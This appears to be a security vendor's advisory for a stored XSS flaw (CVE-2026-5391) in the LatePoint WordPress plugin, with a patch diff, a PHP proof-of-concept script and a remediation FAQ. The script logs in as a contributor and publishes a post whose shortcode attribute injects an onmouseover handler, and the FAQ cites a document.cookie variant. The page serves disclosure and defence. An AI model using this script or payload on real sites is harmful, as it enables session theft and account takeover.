error_log( 'Invalid url passed to get_utm_ready_link function' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
return $link;
}
-
+
if ( empty( $product ) || ! is_string( $product ) || ! self::is_valid_bsf_product_slug( $product ) ) {
error_log( sprintf( 'Invalid product slug provided "%1$s", does not match bsf_product_slugs', $product ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
return $link;
}
-
+
$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
-
+
if ( ! is_array( $bsf_product_referers ) || empty( $bsf_product_referers[ $product ] ) ) {
return $link;
}
-
+
if ( ! self::is_valid_bsf_product_slug( $bsf_product_referers[ $product ] ) ) {
return $link;
}
-
+
if ( ! is_array( $utm_args ) ) {
$utm_args = [];
}
-
+
$utm_args['utm_source'] = $bsf_product_referers[ $product ];
-
+
$link = add_query_arg(
$utm_args,
$link
);
-
+
return $link;
}
}
}
-
-
--- a/latepoint/lib/views/customer_cabinet/_booking_tile.php
+++ b/latepoint/lib/views/customer_cabinet/_booking_tile.php
@@ -37,7 +37,7 @@
data-os-prompt="<?php esc_attr_e('Are you sure you want to cancel this appointment?', 'latepoint'); ?>"
data-os-success-action="reload"
data-os-action="<?php echo esc_attr(OsRouterHelper::build_route_name('customer_cabinet', 'request_cancellation')); ?>"
- data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id])); ?>"
+ data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id], 'cancel_booking_' . $booking->id)); ?>"
<i class="latepoint-icon latepoint-icon-ui-24"></i>
<span><?php esc_html_e('Cancel', 'latepoint'); ?></span>
</a>
--- a/latepoint/lib/views/settings/general.php
+++ b/latepoint/lib/views/settings/general.php
@@ -526,13 +526,13 @@
<div class="sub-section-row">
<div class="sub-section-label">
- <h3><?php esc_html_e( 'Contribute', 'latepoint' ) ?></h3>
+ <h3><?php esc_html_e( 'Improve LatePoint', 'latepoint' ) ?></h3>
</div>
<div class="sub-section-content">
<div class="os-row">
<div class="os-col-lg-12">
<?php
- $ctl_sub_label = __( 'Collect non-sensitive information from your website, such as the PHP version and features used, to help us fix bugs faster, make smarter decisions, and build features that actually matter to you. %1$sLearn More%2$s', 'latepoint' );
+ $ctl_sub_label = __( 'Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions. %1$sLearn More%2$s', 'latepoint' );
$ctl_sub_label = sprintf(
$ctl_sub_label,
@@ -543,7 +543,7 @@
$ctl_option_value = get_option( 'latepoint_usage_optin', 'no' );
$ctl_is_active = $ctl_option_value === 'yes' ? true : false;
- echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Contribute to LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
+ echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Help shape the future of LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
</div>
</div>
</div>
--- a/latepoint/lib/views/wizard/setup.php
+++ b/latepoint/lib/views/wizard/setup.php
@@ -4,7 +4,7 @@
}
?>
<div class="os-wizard-setup-w step-<?php echo esc_attr($current_step_code); ?>">
- <a href="<?php echo esc_url(OsRouterHelper::build_link(OsRouterHelper::build_route_name('dashboard', 'index'))); ?>" class="os-wizard-close-trigger"><span><?php esc_html_e('Skip setup', 'latepoint'); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
+ <a href="#" data-route-name="<?php echo esc_attr( OsRouterHelper::build_route_name( 'wizard', 'skip_setup' ) ); ?>" class="os-wizard-close-trigger os-wizard-skip-btn"><span><?php esc_html_e( 'Skip setup', 'latepoint' ); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
<div class="os-wizard-setup-i">
<div class="os-wizard-step-content-w">
<div class="os-wizard-step-content">
--- a/latepoint/lib/views/wizard/steps/_personal_info.php
+++ b/latepoint/lib/views/wizard/steps/_personal_info.php
@@ -28,9 +28,17 @@
</div>
<div class="os-row">
<div class="os-col-12">
- <?php echo OsFormHelper::checkbox_field( 'personal_info[email_optin]', __( 'Get notified about updates, tips and new features from LatePoint.', 'latepoint' ), 'on', $wizard_email_optin === 'on' ); ?>
+ <?php
+ echo OsFormHelper::checkbox_field(
+ 'personal_info[email_optin]',
+ // translators: %1$s and %2$s are opening and closing anchor tags for Privacy Policy link
+ sprintf( __( 'Stay in the loop and help shape LatePoint! Get feature updates, and help us build a better LatePoint by sharing how you use the plugin. %1$sPrivacy Policy%2$s', 'latepoint' ), '<a href="https://latepoint.com/privacy-policy/" target="_blank">', '</a>' ),
+ 'on',
+ $wizard_email_optin === 'on'
+ );
+ ?>
</div>
</div>
</form>
</div>
-</div>
No newline at end of file
+</div>
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5391 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
// Configuration
$target_url = 'https://example.com'; // Replace with the target WordPress site URL
$username = 'attacker'; // Contributor or higher credentials
$password = 'password';
// Step 1: Login to the WordPress site as a contributor.
// This PoC assumes the application passwords feature is enabled or the user can login via the standard login form.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'wp-admin') === false) {
die('[!] Login failed. Check credentials or site configuration.n');
}
echo "[+] Logged in successfully.n";
// Step 2: Create or update a post/page with the malicious shortcode.
// The payload injects data attributes into the 'btn_wrapper_classes' parameter to trigger XSS.
$payload = "[latepoint_resources btn_wrapper_classes='x' onmouseover='alert(1)']";
// The post creation endpoint (REST API or classic editor POST request).
// This example uses the REST API to create a draft post.
// Note: `wp/v2/posts` endpoint requires proper permissions, and nonces might be needed depending on security plugins.
// For simplicity, this PoC assumes application passwords are used for API authentication.
$api_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'LatePoint XSS Test',
'content' => $payload,
'status' => 'publish' // Publishes directly; use 'draft' for testing.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Basic ' . base64_encode($username . ':' . $password) // Using application password
));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
$result_data = json_decode($result, true);
if (isset($result_data['id'])) {
$post_link = $result_data['link'];
echo "[+] Post created successfully. Visiting: $post_linkn";
} else {
echo "[!] Failed to create post via API.";
print_r($result_data);
}
// Step 3: Verify the XSS by fetching the page and checking for the unescaped payload.
// The payload will be in the HTML source.
$page_content = file_get_contents($post_link);
if (strpos($page_content, 'onmouseover=alert(1)') !== false) {
echo "[+] XSS triggered. The payload is reflected in the page source. Check for JavaScript execution in a browser.n";
} else {
echo "[-] The payload was not found in the response. The site may be patched or has a different configuration.n";
}
?>
Frequently Asked Questions
What is CVE-2026-5391?
Vulnerability overviewCVE-2026-5391 is a Stored Cross-Site Scripting (XSS) vulnerability in the LatePoint plugin for WordPress, affecting versions up to and including 5.3.2. It allows authenticated users with contributor-level access or higher to inject arbitrary web scripts via the ‘btn_wrapper_classes’ attribute of the ‘latepoint_resources’ shortcode. The vulnerability is fixed in version 5.4.0.
How does the vulnerability work?
Technical explanationThe vulnerability exists in the ‘shortcode_latepoint_resources’ function in ‘lib/helpers/shortcodes_helper.php’. The ‘btn_wrapper_classes’ attribute is output without proper sanitization or escaping, allowing an attacker to break out of the HTML class attribute and inject event handlers like ‘onmouseover’. When a user interacts with the element, the injected script executes.
Who is affected by this vulnerability?
Affected users and rolesAny WordPress site running LatePoint version 5.3.2 or earlier is affected. The attack requires an authenticated user with at least contributor-level access, which allows them to create or edit posts and pages. Site visitors who view the compromised page are also at risk as the script executes in their browsers.
How can I check if my site is vulnerable?
Detection methodsCheck the LatePoint plugin version in your WordPress admin dashboard under Plugins. If the version is 5.3.2 or lower, your site is vulnerable. Additionally, you can review your posts and pages for any shortcodes containing suspicious ‘btn_wrapper_classes’ attributes, especially those with event handlers like ‘onmouseover’.
What is the risk level of this vulnerability?
Severity and CVSS scoreThe vulnerability has a CVSS score of 6.4, which is considered Medium severity. However, the practical impact can be high because it allows attackers to execute arbitrary JavaScript in the context of any user, potentially leading to account takeover, data theft, or further site compromise.
How can I fix or mitigate this vulnerability?
Remediation stepsThe primary fix is to update LatePoint to version 5.4.0 or later, which includes proper output escaping using ‘esc_attr()’. If you cannot update immediately, you can temporarily disable the ‘latepoint_resources’ shortcode or restrict contributor-level access. Additionally, use a Web Application Firewall (WAF) to block malicious shortcode patterns.
What does the proof of concept (PoC) demonstrate?
PoC explanationThe PoC shows how an attacker with contributor credentials can log in to WordPress and create a post containing a crafted shortcode like [latepoint_resources btn_wrapper_classes=’a’ onmouseover=’alert(document.cookie)’]. When a visitor views the page, the script executes, demonstrating the stored XSS. The PoC is for educational and authorized testing only.
What is the root cause of this vulnerability?
Underlying issueThe root cause is insufficient input sanitization and output escaping. The ‘btn_wrapper_classes’ attribute is directly concatenated into an HTML attribute without using WordPress’s ‘esc_attr()’ function, allowing attackers to inject additional attributes or break out of the attribute context.
How does the patch fix the vulnerability?
Patch analysisThe patch in version 5.4.0 modifies the vulnerable line in ‘shortcodes_helper.php’ to wrap the ‘btn_wrapper_classes’ variable with ‘esc_attr()’. This function encodes special characters like single quotes and double quotes into HTML entities, preventing attackers from injecting new attributes or breaking out of the class attribute.
What are the potential impacts of a successful exploit?
ConsequencesA successful exploit allows attackers to execute arbitrary JavaScript in the browsers of users visiting the compromised page. This can lead to session hijacking, account takeover, defacement, or distribution of malware. Since the script is stored in the page, every visit triggers the malicious code, amplifying the impact.
Are there any additional security measures I should take?
Best practicesBeyond updating the plugin, enforce the principle of least privilege by limiting contributor roles to trusted users. Regularly audit posts and pages for suspicious shortcodes. Implement a Content Security Policy (CSP) to mitigate the impact of XSS attacks, and keep all WordPress plugins and themes updated.
Where can I find more information about this vulnerability?
ReferencesYou can refer to the official CVE record, the LatePoint changelog for version 5.4.0, and security advisories from WordPress and third-party researchers. The PoC and analysis are available from Atomic Edge’s research page, but ensure you follow ethical guidelines and only use them on systems you own or have permission to test.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations







